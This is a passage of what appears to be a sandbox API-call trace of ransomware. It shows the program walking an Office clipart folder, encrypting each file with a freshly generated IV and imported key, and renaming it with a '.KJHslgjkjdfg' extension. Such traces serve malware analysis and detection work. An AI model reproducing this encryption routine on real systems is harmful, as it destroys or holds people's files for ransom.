pdwDataLen=0x29df258*=0x1080) returned 1 [0214.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1080, lpOverlapped=0x0) returned 1 [0214.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.695] SetEndOfFile (hFile=0x130) returned 1 [0214.698] GetProcessHeap () returned 0x990000 [0214.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.698] GetProcessHeap () returned 0x990000 [0214.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.kjhslgjkjdfg")) returned 1 [0214.700] CloseHandle (hObject=0x130) returned 1 [0214.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0214.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.702] GetProcessHeap () returned 0x990000 [0214.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.702] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.786] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.786] GetProcessHeap () returned 0x990000 [0214.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.786] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.786] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.786] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.786] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.786] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.787] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.787] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a2c, lpOverlapped=0x0) returned 1 [0214.793] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a30, dwBufLen=0x1a30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a30) returned 1 [0214.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.793] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a30, lpOverlapped=0x0) returned 1 [0214.794] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.794] SetEndOfFile (hFile=0x130) returned 1 [0214.796] GetProcessHeap () returned 0x990000 [0214.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.796] GetProcessHeap () returned 0x990000 [0214.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.kjhslgjkjdfg")) returned 1 [0214.798] CloseHandle (hObject=0x130) returned 1 [0214.798] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0214.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.800] GetProcessHeap () returned 0x990000 [0214.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.800] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0214.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.837] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.837] GetProcessHeap () returned 0x990000 [0214.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.837] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.837] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.837] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.837] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.838] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.838] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.838] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.838] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.838] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbd6, lpOverlapped=0x0) returned 1 [0214.838] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0) returned 1 [0214.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.838] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbe0, lpOverlapped=0x0) returned 1 [0214.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.839] SetEndOfFile (hFile=0x130) returned 1 [0214.841] GetProcessHeap () returned 0x990000 [0214.841] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.841] GetProcessHeap () returned 0x990000 [0214.842] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.kjhslgjkjdfg")) returned 1 [0214.845] CloseHandle (hObject=0x130) returned 1 [0214.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0214.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.847] GetProcessHeap () returned 0x990000 [0214.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.847] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0214.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.862] GetProcessHeap () returned 0x990000 [0214.862] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.862] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.862] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.863] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.863] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.863] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.863] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.863] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa16, lpOverlapped=0x0) returned 1 [0214.863] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20, dwBufLen=0xa20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20) returned 1 [0214.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.863] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa20, lpOverlapped=0x0) returned 1 [0214.863] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.863] SetEndOfFile (hFile=0x130) returned 1 [0214.864] GetProcessHeap () returned 0x990000 [0214.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.864] GetProcessHeap () returned 0x990000 [0214.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.kjhslgjkjdfg")) returned 1 [0214.866] CloseHandle (hObject=0x130) returned 1 [0214.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0214.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.929] GetProcessHeap () returned 0x990000 [0214.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.967] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.967] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.967] GetProcessHeap () returned 0x990000 [0214.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.967] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.967] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.967] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.967] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.967] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.967] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.967] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.967] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.967] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.967] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x36dc, lpOverlapped=0x0) returned 1 [0214.980] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36e0) returned 1 [0214.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.980] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x36e0, lpOverlapped=0x0) returned 1 [0214.980] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.980] SetEndOfFile (hFile=0x130) returned 1 [0214.981] GetProcessHeap () returned 0x990000 [0214.981] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.981] GetProcessHeap () returned 0x990000 [0214.981] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.kjhslgjkjdfg")) returned 1 [0214.983] CloseHandle (hObject=0x130) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 